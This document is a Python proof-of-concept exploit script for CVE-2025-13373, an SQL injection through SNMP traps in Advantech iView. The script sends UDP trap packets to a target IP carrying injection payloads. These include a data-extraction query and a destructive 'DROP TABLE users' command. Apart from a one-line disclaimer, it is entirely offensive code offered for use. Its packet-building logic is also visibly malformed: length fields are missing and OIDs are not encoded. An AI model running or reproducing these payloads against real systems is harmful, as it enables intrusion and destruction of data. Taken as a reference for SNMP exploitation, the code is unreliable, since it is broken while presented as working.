CVE-2025-13373: Advantech iView SNMP Trap SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-13373 PoC - Advantech iView SNMP Trap SQL Injection # Target: Advantech iView < 5.7.05.7058 # Note: This PoC is for educational and authorized testing purposes only import socket import struct from datetime import datetime def create_snmp_trap_sql_injection(target_ip, target_port=162, sql_payload="' OR '1'='1"): """Generate malicious SNMPv1 Trap packet with SQL injection payload""" # SNMP Trap PDU structure community = b"public" enterprise_oid = b"1.3.6.1.4.1.XXXXX" # Generic enterprise OID specific_trap = 6 # Enterprise-specific trap # Construct the malicious payload in the trap variable bindings # The SQL injection payload is inserted into the variable bindings var_bind_oid = b"1.3.6.1.2.1.1.1.0" # sysDescr var_bind_value = sql_payload.encode() # Build SNMP Trap packet packet = b'\x30' # SEQUENCE # Community string community_pdu = community # PDU type: Trap pdu_type = b'\xa4' # Enterprise OID enterprise_pdu = enterprise_oid # Agent IP (generic) agent_ip = b"\x00\x00\x00\x00" # Generic trap + Specific trap generic_trap = b'\x00' specific_trap_bytes = struct.pack('!B', specific_trap) # Timestamp timestamp = struct.pack('!I', 1000) # Variable bindings with SQL injection var_bind_pdu = var_bind_oid + var_bind_value # Construct complete packet trap_pdu = enterprise_pdu + agent_ip + generic_trap + specific_trap_bytes + timestamp + var_bind_pdu snmp_packet = community_pdu + pdu_type + trap_pdu return snmp_packet def exploit(target_ip, target_port=162): """Send malicious SNMP trap to trigger SQL injection""" # SQL injection payloads for testing payloads = [ "' UNION SELECT NULL--", # Basic SQL injection test "'; SELECT * FROM users;--", # Attempt to extract users "'; DROP TABLE users;--", # Destructive payload ] print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2025-13373...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for payload in payloads: print(f"[*] Sending payload: {payload[:30]}...") packet = create_snmp_trap_sql_injection(target_ip, target_port, payload) try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") except Exception as e: print(f"[-] Error: {e}") sock.close() print("[*] Exploitation completed") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])